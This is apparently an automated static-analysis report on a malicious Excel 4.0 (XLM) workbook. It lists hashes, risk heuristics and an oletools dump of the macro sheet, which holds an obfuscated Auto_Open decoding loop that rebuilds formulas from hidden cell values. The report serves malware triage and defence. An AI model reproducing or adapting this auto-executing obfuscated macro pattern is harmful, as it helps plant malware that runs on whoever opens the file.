Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1d73af0f6c14ff6b…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:38:59 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: 72dcf29b3ee34984ff1b2617afd8e7a6 SHA-1: ba3c44f643449d2e866f9902c1f433a591934839 SHA-256: 1d73af0f6c14ff6b52b4712a1433f34a583e9277886605b92bbf95069076f374
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6516 bytes
SHA-256: cb7e90ab866b878c250de687bedd3b38154505ce5d27de2f37999f8271a9e441
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  gGzjNU
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E166 
' 0018     27 LABEL : Cell Value, String Constant - BWzWWYhWROag len=0 
' 0018     20 LABEL : Cell Value, String Constant - CDSbm len=0 
' 0018     20 LABEL : Cell Value, String Constant - DZxVK len=0 
' 0018     22 LABEL : Cell Value, String Constant - FRmvfaF len=0 
' 0018     27 LABEL : Cell Value, String Constant - GibpQMxlNVBv len=0 
' 0018     22 LABEL : Cell Value, String Constant - giDklAU len=0 
' 0018     23 LABEL : Cell Value, String Constant - HIstrwtC len=0 
' 0018     26 LABEL : Cell Value, String Constant - LIPLBhEGuQD len=0 
' 0018     20 LABEL : Cell Value, String Constant - LJjnS len=0 
' 0018     20 LABEL : Cell Value, String Constant - NOmCi len=0 
' 0018     24 LABEL : Cell Value, String Constant - nsXyThbSO len=0 
' 0018     22 LABEL : Cell Value, String Constant - pcZvaHz len=0 
' 0018     25 LABEL : Cell Value, String Constant - PyVsYOkqqz len=0 
' 0018     20 LABEL : Cell Value, String Constant - qVtIx len=0 
' 0018     24 LABEL : Cell Value, String Constant - rcsCNdhBQ len=0 
' 0018     26 LABEL : Cell Value, String Constant - tYLNDUJsscJ len=0 
' 0018     20 LABEL : Cell Value, String Constant - VhWff len=0 
' 0018     26 LABEL : Cell Value, String Constant - vSNwVacDmqh len=0 
' 0018     24 LABEL : Cell Value, String Constant - XMUDfdpGU len=0 
' 0018     27 LABEL : Cell Value, String Constant - ZOnmOGgvHEJk len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  gGzjNU,E72,"SET.NAME("pcZvaHz",VALUE("0"))",""
'  gGzjNU,E76,"SET.NAME("CDSbm",pcZvaHz)",""
'  gGzjNU,E81,"SET.NAME("vSNwVacDmqh",pcZvaHz)",""
'  gGzjNU,E85,"SET.NAME("VhWff",COUNTA(nsXyThbSO))",""
'  gGzjNU,E90,"SET.NAME("DZxVK",COUNTA(rcsCNdhBQ))",""
'  gGzjNU,E92,[],""
'  gGzjNU,E95,"SET.NAME("qVtIx","")",""
'  gGzjNU,E99,"CDSbm",""
'  gGzjNU,E101,"SET.NAME("LJjnS",HLOOKUP("*",nsXyThbSO,CDSbm,FALSE))",""
'  gGzjNU,E103,"BWzWWYhWROag",""
'  gGzjNU,E107,"SET.NAME("giDklAU",pcZvaHz)",""
'  gGzjNU,E110,[],""
'  gGzjNU,E115,"giDklAU",""
'  gGzjNU,E120,"XMUDfdpGU",""
'  gGzjNU,E122,"HIstrwtC",""
'  gGzjNU,E125,"FRmvfaF",""
'  gGzjNU,E128,"SET.NAME("PyVsYOkqqz",VALUE(HLOOKUP("*",rcsCNdhBQ,FRmvfaF,FALSE)))",""
'  gGzjNU,E130,"NOmCi",""
'  gGzjNU,E134,"qVtIx",""
'  gGzjNU,E136,"vSNwVacDmqh",""
'  gGzjNU,E141,NEXT(),""
'  gGzjNU,E145,"ZOnmOGgvHEJk",""
'  gGzjNU,E150,"SET.NAME("f",INT(T(FORMULA(T(qVtIx)&"",""&T(ZOnmOGgvHEJk)))))",""
'  gGzjNU,E154,"GibpQMxlNVBv",""
'  gGzjNU,E157,NEXT(),""
'  gGzjNU,E161,RETURN(),""
'  gGzjNU,E189,"SET.NAME("LIPLBhEGuQD",E72)",""
'  gGzjNU,E192,"nsXyThbSO",""
'  gGzjNU,E197,"SET.NAME("rcsCNdhBQ",R74C11)",""
'  gGzjNU,E199,"SET.NAME("GibpQMxlNVBv",208)",""
'  gGzjNU,E203,"SET.NAME("tYLNDUJsscJ",5)",""
'  gGzjNU,E207,LIPLBhEGuQD(),""
'  gGzjNU,E208,HALT(),""

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